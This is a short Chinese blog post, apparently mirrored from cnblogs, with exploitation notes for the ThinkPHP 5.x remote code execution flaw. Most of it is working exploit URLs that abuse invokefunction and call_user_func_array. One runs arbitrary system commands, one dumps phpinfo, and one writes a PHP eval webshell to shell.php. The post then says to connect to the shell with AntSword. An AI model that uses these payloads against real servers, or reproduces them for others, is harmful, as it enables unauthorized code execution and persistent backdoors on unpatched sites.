zoukankan      html  css  js  c++  java
  • Thinkphp 5.x 远程代码执行漏洞利用小记

    Thinkphp 5.x远程代码执行漏洞存在于Thinkphp 5.0版本及5.1版本,通过此漏洞,可以在远程执行任意代码,也可写入webshell

    下面是对其进行的漏洞利用!

    漏洞利用:

      1,利用system函数远程执行任意代码:

        构造url为:  

        http://127.0.0.1/index.php           //这里是测试环境的主页
        ?s=index/thinkapp/invokefunction          //s变量是这个漏洞利用的主要变量
        &function=call_user_func_array               //漏洞存在于这个函数中
        &vars[0]=system             //这里使用了system函数进行代码执行
        &vars[1][]=pwd                //在这里输入想要执行的代码,这里是显示当前文件的路径

      2,利用phpinfo函数显示phpinfo:

        构造url为:

        http://127.0.0.1/index.php
        ?s=index/ hinkapp/invokefunction
        &function=call_user_func_array
        &vars[0]=phpinfo            //使用phpinfo函数
        &vars[1][]=1              

     

       3,利用file_put_contents函数写入webshell:

        构造url为:

        http://127.0.0.1/index.php
        ?s=index/thinkapp/invokefunction
        &function=call_user_func_array
        &vars[0]=file_put_contents          //使用file_put_contents函数
        &vars[1][]=shell.php             //webshell文件名
        &vars[1][]=<?php @eval($_POST['pass']);?>  //写入一句话木马,注意这里需要用POST,而不能用GET

    回显30代表执行成功!

    查看127.0.0.1/shell.php,查看源代码,查看是否成功写入

    用蚁剑连接,这里用菜刀连会失败,尝试多次无果,不知是何原因,所以推荐使用蚁剑进行连接!

     

  • 相关阅读:
    get_json_object 用法
    vim中的特殊字符
    vim常用命令
    mac下如何配置用户的环境变量
    vim如何替换^M ?
    git ssh 配置
    mac上pip install时提示/System/Library/... 无权限
    mysql语句--table中某列有多值时,删除其他,仅保留1条
    mysql语句如何把多行的数据合并到一行?
    微服务分布式电商项目学习笔记(二)---- 微服务架构图+微服务划分图(2020/7/1)
  • 原文地址:https://www.cnblogs.com/scivous/p/13993562.html
Copyright © 2011-2022 走看看